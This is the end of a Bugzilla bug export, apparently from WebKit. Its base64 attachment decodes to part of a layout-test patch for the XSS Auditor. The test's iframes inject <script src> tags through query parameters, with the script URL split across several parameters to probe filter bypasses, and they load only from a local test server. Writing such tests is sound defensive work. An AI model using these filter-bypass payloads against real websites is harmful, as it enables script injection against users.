QXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnRlcnRhZy5wbD9xPTxzY3JpcHQgc3JjPSJodHRwOi8v
MTI3LjAuMC4xOjgwMDAvc2VjdXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMveHNzLmpzJTIzJnEy
PSI+PC9zY3JpcHQ+JmNsdXR0ZXI9YmxhaCc+Cis8L2lmcmFtZT4KKzxpZnJhbWUgc3JjPSdodHRw
Oi8vbG9jYWxob3N0OjgwMDAvc2VjdXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnRl
cnRhZy5wbD9xPTxzY3JpcHQgc3JjPSJodHRwOi8vMTI3LjAuMC4xOjgwMDAvc2VjdXJpdHkveHNz
QXVkaXRvci9yZXNvdXJjZXMvJnEyPSI+PC9zY3JpcHQ+JmNsdXR0ZXI9eHNzLmpzPyc+Cis8L2lm
cmFtZT4KKzwvYm9keT4KKzwvaHRtbD4K
</data>

          </attachment>
      

    </bug>

</bugzilla>